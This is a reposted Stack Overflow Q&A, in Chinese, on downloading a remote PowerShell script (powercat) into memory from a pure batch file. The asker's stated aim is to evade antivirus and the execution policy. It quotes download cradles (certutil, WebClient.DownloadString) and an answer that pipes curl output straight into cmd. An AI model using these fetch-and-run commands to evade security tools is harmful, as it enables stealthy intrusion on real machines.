gpt4 book ai didi

powershell - 通过纯批处理将远程文件下载到内存中

转载 作者:行者123 更新时间:2023-12-02 11:18:18 27 4
gpt4 key购买 nike

在我的批处理脚本中,我试图远程下载和执行一个 powershell 脚本。这是网址:

https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1

我要下载文件 进入内存(不接触磁盘) , 有几个原因:
  • 它绕过 AV 检测
  • 它绕过了 Powershell 执行策略,因此不需要 powershell -nop -ep bypass导致 AV 检测
  • 不会抛出不必要的语法错误
  • 您可以直接使用 .ps1 脚本中定义的函数

  • 显然我可以使用 certutil :
    certutil -urlcache -split -f <url>

    但我不希望该文件命中磁盘,这会导致 AV 检测。
    使用其他语言(例如 PowerShell)可以轻松完成相同的事情:
    (New-Object Net.WebClient).DownloadString($url)

    或者
    (New-Object IO.StreamReader([Net.HttpWebRequest]::Create($url).GetResponse().GetResponseStream())).ReadToEnd()

    我知道批处理不是执行此操作的最佳语言,但有可能吗? (我要 纯批次 )

    最佳答案

    无需临时文件即可下载并执行

    curl -s https://example.com/test.bat | cmd /v:on /k

    示例测试.bat
    @echo off
    (
    cls

    echo Hello
    echo Time: !time!
    exit
    )

    构建代码

    Force batch file to load to RAM before running 中所述您可以缓存单个命令块。

    有一些限制:
  • 它在 cmd(不是批处理)上下文中运行,
    变量扩展有点不同。
  • 不能使用标签

  • 通过这种技术,您可以使用普通的 batch macro style .

    关于powershell - 通过纯批处理将远程文件下载到内存中,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/60292727/

    27 4 0
    Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
    广告合作:1813099741@qq.com 6ren.com